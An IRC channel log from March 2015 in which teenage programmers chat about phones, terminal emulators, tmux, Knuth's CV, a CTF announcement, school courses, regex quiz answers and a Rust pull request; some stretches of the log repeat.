[2015-03-09T21:48:09-0400] <+awe> I did say the Google-branded phones weren't bad.
[2015-03-09T21:48:17-0400] <nezorg> all i do is irc, snapchat, and web
[2015-03-09T21:48:23-0400] <+awe> All I do is phone calls.
[2015-03-09T21:48:26-0400] <+awe> And texts.
[2015-03-09T21:49:04-0400] <nezorg> so why do you care then?
[2015-03-09T21:49:42-0400] <+awe> Because I don't want interacting with my phone to be it freezing and that's all I ever see from people with Android phones and maybe that's just because they don't have the high-end ones, but it doesn't make me want to go buy one.
[2015-03-09T21:50:09-0400] <nezorg> well, glad to see you're buying into apple's marketing, then
[2015-03-09T21:50:21-0400] <jwoglom> awe: if literally all you do is phone calls and texts
[2015-03-09T21:50:23-0400] <+awe> How is tha buying into Apple's marketing?
[2015-03-09T21:50:25-0400] <jwoglom> why do you need an iPhone 6
[2015-03-09T21:50:34-0400] <+awe> jwoglom: I don't.
[2015-03-09T21:50:49-0400] <Tamini> nezorg: snapchat ;)
[2015-03-09T21:50:54-0400] <jwoglom> and why will no "cheap" android phone do the job? :P
[2015-03-09T21:51:00-0400] <+awe> Because it'll piss me off.
[2015-03-09T21:51:04-0400] <nezorg> Tamini: :P
[2015-03-09T21:51:05-0400] <Tamini> awe is a perfectionist.
[2015-03-09T21:51:06-0400] <+awe> Screen quality will bug me to no end.
[2015-03-09T21:51:34-0400] <+awe> And if everything isn't instant, I'll want to smash the phone.
[2015-03-09T21:51:46-0400] <jwoglom> awe: by your logic, i should buy a $3000 macbook pro because i can't stand losing 1 fps while i'm composing my emails
[2015-03-09T21:51:55-0400] <+awe> I didn't say this applies to you.
[2015-03-09T21:51:57-0400] <+awe> I said it applies to me.
[2015-03-09T21:52:01-0400] <jwoglom> just saying :P
[2015-03-09T21:52:12-0400] • hardmath123: is watching this discussion smugly.
[2015-03-09T21:52:13-0400] <+awe> I didn't say this ought to be the case for anyone.
[2015-03-09T21:52:42-0400] <+awe> But everyone I've seen with both old iPhones and most Android phones has their phone freeze every time they open snapchat.
[2015-03-09T21:52:45-0400] <nezorg> what does hardmath123 use? a dumbphone?
[2015-03-09T21:52:47-0400] <+awe> So, that's why I have new phones.
[2015-03-09T21:52:51-0400] <+awe> nezorg: Yes.
[2015-03-09T21:53:16-0400] <hardmath123> nezorg: technically a nokia something windows something or the other, but all i do with it is call my mom to pick me up early|late around once a month.
[2015-03-09T21:53:21-0400] <Tamini> hardmath123: uhhh advice
[2015-03-09T21:53:28-0400] <Tamini> if at all possible, get a real phone before ROSS
[2015-03-09T21:53:32-0400] <Tamini> it will help you not go insane
[2015-03-09T21:53:33-0400] <hardmath123> nezorg: i would fare equally well with a tin can and a length of string
[2015-03-09T21:53:34-0400] <+awe> jwoglom: Probably a bigger issue is the immense amount of software bloat going into these phones.
[2015-03-09T21:53:40-0400] <jwoglom> awe: true
[2015-03-09T21:53:44-0400] <jwoglom> it's getting a LOT better now, though
[2015-03-09T21:53:47-0400] <hardmath123> Tamini: is this because of the no-tech rule?
[2015-03-09T21:53:52-0400] <Tamini> sort of, yeah
[2015-03-09T21:53:53-0400] <jwoglom> motorola phones basically have no skins
[2015-03-09T21:53:53-0400] <+awe> Well, I mean all smartphones in general.
[2015-03-09T21:53:58-0400] <Tamini> it's a LOT more convenient to be able to access google
[2015-03-09T21:54:00-0400] <jwoglom> samsung is unbloating touchwiz a bit
[2015-03-09T21:54:12-0400] <+awe> Android had/has the issue of tons of OEM software which is gross.
[2015-03-09T21:54:13-0400] <hardmath123> Tamini: *siiiiiigh*
[2015-03-09T21:54:13-0400] <jwoglom> hardmath123: yeah, windows phone and google services don't go together very well
[2015-03-09T21:54:18-0400] <+awe> But in general, the OSes are getting super complex.
[2015-03-09T21:54:18-0400] <Tamini> especially when you're debating something over lunch and you need to factcheck some of your more strange statements
[2015-03-09T21:54:32-0400] <Tamini> it's not a requirement! Just nice :P
[2015-03-09T21:54:34-0400] <+awe> And I just don't see the reason.
[2015-03-09T21:54:42-0400] <jwoglom> awe: i mean, iPhones have oem software too
[2015-03-09T21:54:46-0400] <+awe> I know.
[2015-03-09T21:54:47-0400] <jwoglom> it's just that the whole software is oem
[2015-03-09T21:54:52-0400] <+awe> I'm aware.
[2015-03-09T21:54:53-0400] <jwoglom> i know what you mean, though
[2015-03-09T21:55:09-0400] <+awe> The deteriorating performance of iOS bugs the hell out of me, too.
[2015-03-09T21:55:14-0400] <+awe> My phone shouldn't crash.
[2015-03-09T21:55:20-0400] <+awe> I don't do anything with it.
[2015-03-09T21:56:08-0400] <+awe> This is also why memory-safe and type-safe programming languages are so important to me.
[2015-03-09T21:56:23-0400] <+awe> I don't think there's any reason that anything should ever crash.
[2015-03-09T21:57:04-0400] <+awe> But it happens because correctness is rarely the focus of modern developers.
[2015-03-09T21:57:51-0400] <+awe> hardmath123: If I had your phone, I'd probably end up smashing it into the ground when it lagged trying to open up the messaging app.
[2015-03-09T21:58:06-0400] <jwoglom> probably not a good idea
[2015-03-09T21:58:10-0400] <jwoglom> considering then you have no phone
[2015-03-09T21:58:28-0400] <Hyper> it's a nokia, too. We can't be sure it's destructible
[2015-03-09T21:58:33-0400] <+awe> That's fair.
[2015-03-09T21:58:43-0400] <+awe> But I'd probably prefer no phone to slow phone.
[2015-03-09T21:58:46-0400] <jwoglom> it sounded like he said WP nokia
[2015-03-09T21:58:46-0400] <hardmath123> awe: remind me not to give you my phone, then? to be honest, it has not, to date, ever lagged or frozen.
[2015-03-09T21:58:48-0400] <+awe> At least no phone doesn't stress me out.
[2015-03-09T21:58:50-0400] <jwoglom> so not 3310 nokia
[2015-03-09T21:59:23-0400] <+awe> It's just like no internet versus so-slow-as-to-be-unusable internet.
[2015-03-09T21:59:26-0400] <+awe> I'd pick no internet every time.
[2015-03-09T21:59:34-0400] <+awe> Because at least it doesn't stress me out.
[2015-03-09T21:59:41-0400] <jwoglom> i mean, i'd just choose the slow and unstable internet
[2015-03-09T21:59:43-0400] <jwoglom> and use irc
[2015-03-09T21:59:46-0400] <jwoglom> but that's me
[2015-03-09T22:00:32-0400] <+awe> I just get really frustrated with slow things.
[2015-03-09T22:00:37-0400] <jwoglom> i can tell
[2015-03-09T22:00:56-0400] <+awe> I guess it'd be easier if I didn't care or wasn't so acutely aware of it.
[2015-03-09T22:01:14-0400] <+awe> But instead, I just have to keep buying new expensive things even though my use case is always simple.
[2015-03-09T22:01:27-0400] <+awe> Things I do on my laptop: read, web browse, IRC, edit text
[2015-03-09T22:01:50-0400] <jwoglom> relevant:  http://www.theonion.com/articles/apple-fans-demand-other-products-they-can-feel-dir,38174/
[2015-03-09T22:01:55-0400] <+awe> Lol, I saw that today.
[2015-03-09T22:07:21-0400] <+awe> Fill: good catch on the colon thing.
[2015-03-09T22:07:31-0400] <+awe> Fill: I just pushed an update fixing that.
[2015-03-09T22:10:45-0400] <hardmath123> http://www.kalzumeus.com/2015/03/09/announcing-starfighter/
[2015-03-09T22:10:56-0400] <hardmath123> the writing is so pretentious, i don't want to take them seriously
[2015-03-09T22:11:33-0400] <+awe> We’re going to publish a game in the genre often described as “Capture The Flag” (CTF).
[2015-03-09T22:11:36-0400] <+awe> This is poor English.
[2015-03-09T22:11:41-0400] <Tamini> oh, i think LittleBobbyTables texted me about this this afternoon
[2015-03-09T22:11:42-0400] <Tamini> right
[2015-03-09T22:11:47-0400] <Tamini> I was asleep so I totally ignored it
[2015-03-09T22:12:58-0400] <+awe> "I exploited a buffer overflow bug to corrupt the value on the stack storing the program counter so that when the function returned it wouldn’t go back to the call site but rather jump into memory that I controlled where I had pre-staged handwritten assembly code to gain control of the lock."
[2015-03-09T22:13:15-0400] <+awe> 3edge5me
[2015-03-09T22:14:30-0400] <hardmath123> the most interesting thing it linked me was http://www-cs-faculty.stanford.edu/~uno/vita.pdf (knuth's CV)
[2015-03-09T22:14:59-0400] <+awe> http://www.walmart.horse
[2015-03-09T22:15:37-0400] <+awe> hardmath123: he got a masters by vote of the faculty?
[2015-03-09T22:15:39-0400] <+awe> hardmath123: that's dope.
[2015-03-09T22:16:30-0400] <hardmath123> anyone here take chinese? why does his chinese name have like 3 pronunciations? :/
[2015-03-09T22:18:15-0400] <+alokpathy> It is Don Knuth we're talking about, lol.
[2015-03-09T22:19:19-0400] <JacobEdelman> Link me?
[2015-03-09T22:19:20-0400] <+awe> hardmath123: regionalized accents, I believe.
[2015-03-09T22:19:26-0400] <+awe> JacobEdelman: the link is right there?
[2015-03-09T22:20:01-0400] <JacobEdelman> In lazy, but fine
[2015-03-09T22:20:02-0400] <grantwu> vim has mouse support
[2015-03-09T22:20:34-0400] <+awe> grantwu: Assuming your terminal does.
[2015-03-09T22:20:40-0400] <+awe> grantwu: Which OS X's Terminal does not.
[2015-03-09T22:21:04-0400] <jwoglom> use iterm!
[2015-03-09T22:21:39-0400] <hardmath123> awe: in case you didn't know, try alt+click on osx terminal :D
[2015-03-09T22:22:04-0400] <JacobEdelman> Shouldn't it just be "if you need my vita, I don't want to work for you"?
[2015-03-09T22:22:19-0400] <+awe> hardmath123: is fake though
[2015-03-09T22:22:27-0400] <+awe> hardmath123: I can't actually use my mouse in vim with this.
[2015-03-09T22:22:39-0400] <grantwu> Er, yeah, get a better terminal, I use friggin PuTTy
[2015-03-09T22:22:50-0400] <hardmath123> awe: sure you can. if you want to move cursor to this cell, alt-click on the cell.
[2015-03-09T22:22:54-0400] <+awe> Isn't iTerm super dated?
[2015-03-09T22:23:05-0400] <+awe> hardmath123: but I can't click on things in my tree view to open a file.
[2015-03-09T22:23:31-0400] <grantwu> awe: isn't that a return oriented programming attack
[2015-03-09T22:23:35-0400] <+awe> grantwu: yes.
[2015-03-09T22:24:03-0400] <+alokpathy> Knuth patented the RNG?
[2015-03-09T22:27:08-0400] <+awe> jwoglom: isn't iTerm dated?
[2015-03-09T22:27:48-0400] <jwoglom> awe: iterm 2 isn't
[2015-03-09T22:27:59-0400] <+awe> It seems pretty dated, too.
[2015-03-09T22:28:53-0400] <+awe> The tabs look so gross.
[2015-03-09T22:29:46-0400] <+awe> I wish Terminal.app supported mouse.
[2015-03-09T22:29:50-0400] <+awe> It's perfect except for that.
[2015-03-09T22:30:01-0400] <jwoglom> i like it
[2015-03-09T22:30:06-0400] <jwoglom> don't think it looks very dated
[2015-03-09T22:30:42-0400] <hardmath123> I wouldn't actually mind if someone wrote a really good Terminal.app replacement that did ANSI things right and looked beautiful.
[2015-03-09T22:31:26-0400] <jwoglom> awe: http://iterm2.com/features.html
[2015-03-09T22:31:39-0400] <jwoglom> those are old screenshots, it looks completely native on yosemite
[2015-03-09T22:32:41-0400] <+awe> N.
[2015-03-09T22:32:43-0400] <+awe> I just downloaded it.
[2015-03-09T22:32:52-0400] <+awe> The tabs are fake.
[2015-03-09T22:32:54-0400] <+awe> They're not native tabs.
[2015-03-09T22:33:06-0400] <+awe> They look awful.
[2015-03-09T22:34:01-0400] <jwoglom> i'm sorry you don't like it, awe
[2015-03-09T22:34:08-0400] <jwoglom> guess it just doesn't meet your quality standard :P
[2015-03-09T22:36:53-0400] <+awe> Non-native UIs bug me.
[2015-03-09T22:37:05-0400] <+awe> I'm really particular about UX, if you haven't noticed.
[2015-03-09T22:42:37-0400] <hardmath123> help there's a line of dashes under my tmux session and i don't know how to get rid of it
[2015-03-09T22:43:43-0400] <jwoglom> hardmath123: detach the other session that's probably running?
[2015-03-09T22:43:57-0400] <hardmath123> there's another session running?
[2015-03-09T22:44:10-0400] <hardmath123> how do I do that?
[2015-03-09T22:44:10-0400] <+awe> Dangit. Somebody already bought ass.horse
[2015-03-09T22:44:43-0400] <hardmath123> jwoglom: oh wow that worked. thanks.
[2015-03-09T22:45:18-0400] <jwoglom> hardmath123: i don't use tmux, mainly just screen, but screen does the same thing when there's another session running
[2015-03-09T22:45:22-0400] <jwoglom> *attached
[2015-03-09T22:45:27-0400] <jwoglom> it preserves the size of that session :P
[2015-03-09T22:45:33-0400] <hardmath123> interstingly they both attached from the *same* server
[2015-03-09T22:45:35-0400] <hardmath123> so i was really confusd
[2015-03-09T22:46:45-0400] <LittleBobbyTables> ugh, why can't people just `tell me, I don't want to have to scroll through 12 hours of messages every single day just to find mentions...
[2015-03-09T22:46:59-0400] <hardmath123> /buffer scroll_unread
[2015-03-09T22:47:11-0400] <hardmath123> sorry, /window scroll_previous_highlight 
[2015-03-09T22:47:34-0400] <LittleBobbyTables> PdgnCo (irc.pdgn.co:6697)
[2015-03-09T22:47:34-0400] <LittleBobbyTables> Unknown command: WINDOW
[2015-03-09T22:47:52-0400] <+awe> LittleBobbyTables: are you using weechat?
[2015-03-09T22:48:03-0400] <hardmath123> he's using irccloud
[2015-03-09T22:48:05-0400] <LittleBobbyTables> irccloud
[2015-03-09T22:48:10-0400] <+awe> Cause those were weechat commands.
[2015-03-09T22:48:28-0400] <LittleBobbyTables> Tamini: Did I text you about that?
[2015-03-09T22:48:35-0400] <LittleBobbyTables> I don't remember...
[2015-03-09T22:50:21-0400] <Tamini> LittleBobbyTables: you texted me "starfighter?"
[2015-03-09T22:50:31-0400] <LittleBobbyTables> Huh. Weird.
[2015-03-09T22:50:39-0400] <Tamini> wow
[2015-03-09T22:50:42-0400] <Tamini> you dont even know what you text me
[2015-03-09T22:51:20-0400] <LittleBobbyTables> Man, today was really long.
[2015-03-09T23:13:45-0400] <Hyper> knuth's CV should just be "if you can see this, you didn't read my name"
[2015-03-09T23:14:11-0400] <Tamini> heh
[2015-03-09T23:14:16-0400] <Hyper> in huge, bold text
[2015-03-09T23:14:25-0400] <Tamini> I'm pretty much taking a math class next year
[2015-03-09T23:14:32-0400] <Tamini> because he wrote the textbook for that class
[2015-03-09T23:14:48-0400] <hardmath123> *in huge, bold-but-stil-beautifully-formatted text
[2015-03-09T23:14:51-0400] <hardmath123> Concrete Math?
[2015-03-09T23:14:57-0400] <Tamini> yeee
[2015-03-09T23:17:34-0400] <nezorg> it's a good book!
[2015-03-09T23:17:45-0400] <Tamini> it is!
[2015-03-09T23:17:49-0400] <Tamini> have you seen the margin notes
[2015-03-09T23:17:51-0400] <Tamini> they make me so happy
[2015-03-09T23:17:55-0400] <nezorg> yes :P
[2015-03-09T23:17:58-0400] <nezorg> i have a copy
[2015-03-09T23:17:59-0400] <jwoglom> i'd much rather take the ebook, thank you
[2015-03-09T23:18:06-0400] <jwoglom> sounds quite heavy :P
[2015-03-09T23:18:06-0400] <Tamini> I want one!
[2015-03-09T23:18:10-0400] <Tamini> Why do you have a copy? >_<
[2015-03-09T23:18:17-0400] <nezorg> discrete is an interest of mine
[2015-03-09T23:18:41-0400] <Tamini> You're interested in a lot of things
[2015-03-09T23:18:43-0400] <Tamini> it's really cool.
[2015-03-10T00:01:19-0400] <grantwu> Wait Tamini you're a Junior?
[2015-03-10T00:05:22-0400] <Tamini> umm
[2015-03-10T00:05:23-0400] <Tamini> yes!
[2015-03-10T00:05:58-0400] <Tamini> What led you to the realization? o-o
[2015-03-10T00:06:57-0400] <grantwu> ...that you know what classes you're taking next year
[2015-03-10T00:07:00-0400] <grantwu> lulz
[2015-03-10T00:07:04-0400] <Tamini> oh, haha
[2015-03-10T00:07:16-0400] <Tamini> i did a quick ctrl+f for junior and didnt find anything so
[2015-03-10T00:07:18-0400] <grantwu> which class is it?
[2015-03-10T00:07:33-0400] <grantwu> is it this AMT I have heard of
[2015-03-10T00:08:08-0400] <Tamini> oh, I'm in AMT right now!
[2015-03-10T00:08:11-0400] <Tamini> It's a lot of fun
[2015-03-10T00:08:22-0400] <Tamini> it's just a mishmash of everything my teacher finds interesting in elementary calculus
[2015-03-10T00:08:42-0400] <grantwu> oic
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[2015-03-10T00:09:10-0400] <Tamini> i love every part of it
[2015-03-10T00:09:24-0400] <Tamini> my math and physics world are colliding and it's glorious
[2015-03-10T00:09:29-0400] <grantwu> Yah it seemed like a cool course.
[2015-03-10T00:09:33-0400] <grantwu> From what I've heard.
[2015-03-10T00:09:36-0400] <Tamini> haha, who did you hear about it from?
[2015-03-10T00:10:19-0400] <grantwu> Jocelyn
[2015-03-10T00:10:24-0400] <grantwu> the person you didn't know
[2015-03-10T00:10:44-0400] <grantwu> Lol I mentioned you to Alice, I'm sorry but I was too tempted :P
[2015-03-10T00:10:50-0400] <grantwu> ...she claims never to have met you
[2015-03-10T00:11:02-0400] <Tamini> wait, there's a chance she doesn't actually know my name then.
[2015-03-10T00:11:21-0400] <Tamini> :X
[2015-03-10T00:11:25-0400] <grantwu> She was quite bothered, actually, she's worried that she's done you some grievous insult but forgotten
[2015-03-10T00:11:30-0400] <grantwu> I know your name though
[2015-03-10T00:11:31-0400] <Tamini> LOL NO
[2015-03-10T00:11:36-0400] <Tamini> I DID HER SOME GRIEVOUS INSULT
[2015-03-10T00:11:44-0400] <Tamini> why did you do thissss :(
[2015-03-10T00:11:56-0400] <grantwu> huehuehue
[2015-03-10T00:11:59-0400] <grantwu> I am a gossip
[2015-03-10T00:12:10-0400] <Tamini> :<<<
[2015-03-10T00:12:10-0400] <Tamini> bad
[2015-03-10T00:12:18-0400] <grantwu> She was like... "I KNOW NO ASHLEYS!"
[2015-03-10T00:12:30-0400] <Tamini> darn
[2015-03-10T00:12:44-0400] <grantwu> "ARE YOU SURE THIS IS THE RIGHT ONE" >referring to facebook
[2015-03-10T00:12:48-0400] <Tamini> LOL
[2015-03-10T00:12:53-0400] <Tamini> whyyyyy
[2015-03-10T00:12:56-0400] <Tamini> y do u do dis
[2015-03-10T00:13:01-0400] <grantwu> for teh lulz
[2015-03-10T00:13:33-0400] <Tamini> bad :<
[2015-03-10T00:14:40-0400] <grantwu> huehuehue
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[2015-03-10T00:08:08-0400] <Tamini> oh, I'm in AMT right now!
[2015-03-10T00:08:11-0400] <Tamini> It's a lot of fun
[2015-03-10T00:08:22-0400] <Tamini> it's just a mishmash of everything my teacher finds interesting in elementary calculus
[2015-03-10T00:08:42-0400] <grantwu> oic
[2015-03-10T00:09:10-0400] <Tamini> i love every part of it
[2015-03-10T00:09:24-0400] <Tamini> my math and physics world are colliding and it's glorious
[2015-03-10T00:09:29-0400] <grantwu> Yah it seemed like a cool course.
[2015-03-10T00:09:33-0400] <grantwu> From what I've heard.
[2015-03-10T00:09:36-0400] <Tamini> haha, who did you hear about it from?
[2015-03-10T00:10:18-0400] <grantwu> Jocelyn
[2015-03-10T00:10:24-0400] <grantwu> the person you didn't know
[2015-03-10T00:10:44-0400] <grantwu> Lol I mentioned you to Alice, I'm sorry but I was too tempted :P
[2015-03-10T00:10:50-0400] <grantwu> ...she claims never to have met you
[2015-03-10T00:11:02-0400] <Tamini> wait, there's a chance she doesn't actually know my name then.
[2015-03-10T00:11:21-0400] <Tamini> :X
[2015-03-10T00:11:25-0400] <grantwu> She was quite bothered, actually, she's worried that she's done you some grievous insult but forgotten
[2015-03-10T00:11:30-0400] <grantwu> I know your name though
[2015-03-10T00:11:31-0400] <Tamini> LOL NO
[2015-03-10T00:11:36-0400] <Tamini> I DID HER SOME GRIEVOUS INSULT
[2015-03-10T00:11:44-0400] <Tamini> why did you do thissss :(
[2015-03-10T00:11:56-0400] <grantwu> huehuehue
[2015-03-10T00:11:59-0400] <grantwu> I am a gossip
[2015-03-10T00:12:10-0400] <Tamini> :<<<
[2015-03-10T00:12:10-0400] <Tamini> bad
[2015-03-10T00:12:18-0400] <grantwu> She was like... "I KNOW NO ASHLEYS!"
[2015-03-10T00:12:30-0400] <Tamini> darn
[2015-03-10T00:12:44-0400] <grantwu> "ARE YOU SURE THIS IS THE RIGHT ONE" >referring to facebook
[2015-03-10T00:12:48-0400] <Tamini> LOL
[2015-03-10T00:12:53-0400] <Tamini> whyyyyy
[2015-03-10T00:12:56-0400] <Tamini> y do u do dis
[2015-03-10T00:13:01-0400] <grantwu> for teh lulz
[2015-03-10T00:13:33-0400] <Tamini> bad :<
[2015-03-10T00:14:40-0400] <grantwu> huehuehue
[2015-03-10T00:45:18-0400] <micrictor> ap physics
[2015-03-10T00:45:25-0400] <micrictor> now that they split into 2 years
[2015-03-10T00:45:28-0400] <micrictor> is so painfully easy
[2015-03-10T00:45:50-0400] <nezorg> or so i've heard
[2015-03-10T00:47:27-0400] <Tamini> oh, wait
[2015-03-10T00:47:30-0400] <Tamini> is that a common thing
[2015-03-10T00:47:33-0400] <Tamini> it's still a year for us o-o
[2015-03-10T00:47:55-0400] <nezorg> yeah, it's officially a two-year course
[2015-03-10T00:49:16-0400] <Tamini> darn
[2015-03-10T00:49:22-0400] <Tamini> then i suffered though physics last year for no reason? D:
[2015-03-10T00:49:34-0400] <Tamini> we literally had three weeks for magnetism because we had an absurd amount of snow
[2015-03-10T00:52:21-0400] <nezorg> well i'd rather have a hard course than an easy course
[2015-03-10T00:54:00-0400] <Tamini> heh, I guess so.
[2015-03-10T00:54:12-0400] <Tamini> The two parts of me are always in conflict
[2015-03-10T00:54:23-0400] <Tamini> one part of me really wants to take all these hard courses and have fun with everything
[2015-03-10T00:54:31-0400] <Tamini> but the lazy part of me thinks that part of me is crazy.
[2015-03-10T00:57:04-0400] <nezorg> we're all crazy
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[2015-03-10T01:06:53-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-10T00:08:11-0400] <Tamini> It's a lot of fun
[2015-03-10T00:08:22-0400] <Tamini> it's just a mishmash of everything my teacher finds interesting in elementary calculus
[2015-03-10T00:08:42-0400] <grantwu> oic
[2015-03-10T00:09:10-0400] <Tamini> i love every part of it
[2015-03-10T00:09:24-0400] <Tamini> my math and physics world are colliding and it's glorious
[2015-03-10T00:09:29-0400] <grantwu> Yah it seemed like a cool course.
[2015-03-10T00:09:33-0400] <grantwu> From what I've heard.
[2015-03-10T00:09:36-0400] <Tamini> haha, who did you hear about it from?
[2015-03-10T00:10:18-0400] <grantwu> Jocelyn
[2015-03-10T00:10:24-0400] <grantwu> the person you didn't know
[2015-03-10T00:10:44-0400] <grantwu> Lol I mentioned you to Alice, I'm sorry but I was too tempted :P
[2015-03-10T00:10:50-0400] <grantwu> ...she claims never to have met you
[2015-03-10T00:11:02-0400] <Tamini> wait, there's a chance she doesn't actually know my name then.
[2015-03-10T00:11:21-0400] <Tamini> :X
[2015-03-10T00:11:25-0400] <grantwu> She was quite bothered, actually, she's worried that she's done you some grievous insult but forgotten
[2015-03-10T00:11:30-0400] <grantwu> I know your name though
[2015-03-10T00:11:31-0400] <Tamini> LOL NO
[2015-03-10T00:11:36-0400] <Tamini> I DID HER SOME GRIEVOUS INSULT
[2015-03-10T00:11:44-0400] <Tamini> why did you do thissss :(
[2015-03-10T00:11:56-0400] <grantwu> huehuehue
[2015-03-10T00:11:59-0400] <grantwu> I am a gossip
[2015-03-10T00:12:10-0400] <Tamini> :<<<
[2015-03-10T00:12:10-0400] <Tamini> bad
[2015-03-10T00:12:18-0400] <grantwu> She was like... "I KNOW NO ASHLEYS!"
[2015-03-10T00:12:30-0400] <Tamini> darn
[2015-03-10T00:12:44-0400] <grantwu> "ARE YOU SURE THIS IS THE RIGHT ONE" >referring to facebook
[2015-03-10T00:12:48-0400] <Tamini> LOL
[2015-03-10T00:12:53-0400] <Tamini> whyyyyy
[2015-03-10T00:12:56-0400] <Tamini> y do u do dis
[2015-03-10T00:13:01-0400] <grantwu> for teh lulz
[2015-03-10T00:13:33-0400] <Tamini> bad :<
[2015-03-10T00:14:40-0400] <grantwu> huehuehue
[2015-03-10T00:45:18-0400] <micrictor> ap physics
[2015-03-10T00:45:25-0400] <micrictor> now that they split into 2 years
[2015-03-10T00:45:28-0400] <micrictor> is so painfully easy
[2015-03-10T00:45:50-0400] <nezorg> or so i've heard
[2015-03-10T00:47:27-0400] <Tamini> oh, wait
[2015-03-10T00:47:30-0400] <Tamini> is that a common thing
[2015-03-10T00:47:33-0400] <Tamini> it's still a year for us o-o
[2015-03-10T00:47:55-0400] <nezorg> yeah, it's officially a two-year course
[2015-03-10T00:49:16-0400] <Tamini> darn
[2015-03-10T00:49:22-0400] <Tamini> then i suffered though physics last year for no reason? D:
[2015-03-10T00:49:34-0400] <Tamini> we literally had three weeks for magnetism because we had an absurd amount of snow
[2015-03-10T00:52:21-0400] <nezorg> well i'd rather have a hard course than an easy course
[2015-03-10T00:54:00-0400] <Tamini> heh, I guess so.
[2015-03-10T00:54:12-0400] <Tamini> The two parts of me are always in conflict
[2015-03-10T00:54:23-0400] <Tamini> one part of me really wants to take all these hard courses and have fun with everything
[2015-03-10T00:54:31-0400] <Tamini> but the lazy part of me thinks that part of me is crazy.
[2015-03-10T00:57:04-0400] <nezorg> we're all crazy
[2015-03-10T01:06:49-0400] <LittleBobbyTables> I'm just a little
[2015-03-10T01:06:54-0400] Mode is +nt
[2015-03-10T01:21:33-0400] <LittleBobbyTables> Why does my teach have wrong answers on the test...
[2015-03-10T01:22:11-0400] <LittleBobbyTables> Unless his linux is completely different than any I've ever used
[2015-03-10T01:24:06-0400] <nezorg> LittleBobbyTables: maybe he's using linux for workgroups
[2015-03-10T01:24:12-0400] <nezorg> although that's not very obscure
[2015-03-10T01:25:03-0400] <LittleBobbyTables> Considering he escapes every regex thing when he's talking about a normal regex character, and then says certain answers that work are still wrong...
[2015-03-10T01:25:19-0400] <LittleBobbyTables> Also, alias command apparently doesn't have an equals sign in it
[2015-03-10T01:25:29-0400] <nezorg> ...
[2015-03-10T01:25:55-0400] <nezorg> i know regexes
[2015-03-10T01:25:56-0400] <nezorg> try me
[2015-03-10T01:26:02-0400] <LittleBobbyTables> uhhh
[2015-03-10T01:26:07-0400] <LittleBobbyTables> Let me go back to the previous quiz then
[2015-03-10T01:26:47-0400] <LittleBobbyTables> How would you match 5 digits
[2015-03-10T01:27:59-0400] <LittleBobbyTables> Quite literally 5 digits
[2015-03-10T01:28:33-0400] <LittleBobbyTables> No groups, just "11111" or "93845", anywhere in the string (assume global is on)
[2015-03-10T01:33:21-0400] <nezorg> sorry, back now
[2015-03-10T01:33:30-0400] <nezorg> uhh... r"\d+"
[2015-03-10T01:33:34-0400] <nezorg> wait what
[2015-03-10T01:33:37-0400] • nezorg: smacks self
[2015-03-10T01:33:41-0400] <nezorg> r"\d{5}"
[2015-03-10T01:34:04-0400] <+awe> \./\\{5}d\\.///
[2015-03-10T01:35:13-0400] <LittleBobbyTables> God damn it awe.
[2015-03-10T01:35:20-0400] <LittleBobbyTables> nezorg: that's wrong.
[2015-03-10T01:35:21-0400] <+awe> I'm sorry, baby.
[2015-03-10T01:35:24-0400] <+awe> I'm really bad at regex.
[2015-03-10T01:35:30-0400] <+awe> (I'm not that bad, I just hate them)
[2015-03-10T01:35:31-0400] <LittleBobbyTables> \d\{5\}
[2015-03-10T01:36:03-0400] <LittleBobbyTables> What is the regular expression to match the string "File" followed by two numbers, or the string "Folder" followed by nothing. 
[2015-03-10T01:39:18-0400] <LittleBobbyTables> Or what about What is the regular expression to match the string "picture-" followed by either gif or jpg. 
[2015-03-10T01:39:52-0400] <nezorg> LittleBobbyTables: well, what regex engine?
[2015-03-10T01:40:03-0400] <LittleBobbyTables> Good question.
[2015-03-10T01:40:36-0400] <nezorg> lol
[2015-03-10T01:41:20-0400] <LittleBobbyTables> Here's a hint: It has inconsistent escaping.
[2015-03-10T01:43:08-0400] <+awe> nezorg: https://github.com/rust-lang/rust/pull/23214
[2015-03-10T01:43:13-0400] <+awe> nezorg: look at alex's test vs mine?
[2015-03-10T01:44:25-0400] <+awe> nezorg: I don't see a difference, do you?
[2015-03-10T01:45:18-0400] <LittleBobbyTables> who's who
[2015-03-10T01:45:25-0400] <LittleBobbyTables> I'm guessing alex is alex
[2015-03-10T01:45:33-0400] <+awe> alex is alex, aatxe is me.
[2015-03-10T01:45:41-0400] <+awe> can't you tell by that handsome devil of a face? ;)
[2015-03-10T01:45:52-0400] <LittleBobbyTables> I guessed from the "@alexcrichton asked me to ping him here on IRC to look into this more."
[2015-03-10T01:46:17-0400] <+awe> Why'd that make you guess?
[2015-03-10T01:47:13-0400] <LittleBobbyTables> I assumed you knew Alex, nobody in here would choose the name "jakub-" except for me, Jacob, and maybe Hyper.
[2015-03-10T01:47:21-0400] <Tamini> awe: yet again, your hair is still fantastic
[2015-03-10T01:47:38-0400] <Hyper> ?
[2015-03-10T01:47:48-0400] <+awe> Hyper's name isn't Jacob.
[2015-03-10T01:47:53-0400] <LittleBobbyTables> You're the kind of person that would have a dumb name, Hyper 
[2015-03-10T01:47:59-0400] <+awe> Also that dude's name is actually Jakub.
[2015-03-10T01:48:02-0400] <+awe> With a k and a u.
[2015-03-10T01:48:04-0400] <LittleBobbyTables> Based on the limited interaction we've had
[2015-03-10T01:48:05-0400] <+awe> As unfortunate as that is.
[2015-03-10T01:48:12-0400] <LittleBobbyTables> I feel bad for him.
[2015-03-10T01:48:12-0400] <+awe> But yeah, I mean, I don't *know* Alex.
[2015-03-10T01:48:13-0400] <Hyper> uh
[2015-03-10T01:48:15-0400] <+awe> I've just spoken to him some.
[2015-03-10T01:48:15-0400] <LittleBobbyTables> My point still stands.
[2015-03-10T01:48:20-0400] <+awe> He's really smart.
[2015-03-10T01:48:29-0400] <+awe> And is (if it wasn't obvious) one of the Rust devs.
[2015-03-10T01:48:52-0400] <Hyper> yeah no I don't do stupid shit with names and stuff
[2015-03-10T01:49:11-0400] <Hyper> I do stupid shit with everything else instead!
[2015-03-10T01:49:23-0400] <+awe> Woo!
[2015-03-10T01:49:37-0400] <LittleBobbyTables> See, it was a pretty well off assumption
[2015-03-10T01:52:59-0400] <LittleBobbyTables> awe, do you want to buy me an SSD for my birthday?
[2015-03-10T01:53:08-0400] <+awe> When's your birthday?
[2015-03-10T01:53:14-0400] <LittleBobbyTables> October
[2015-03-10T01:53:22-0400] <+awe> I might have a lot of money then.
[2015-03-10T01:53:24-0400] <+awe> Maybe.
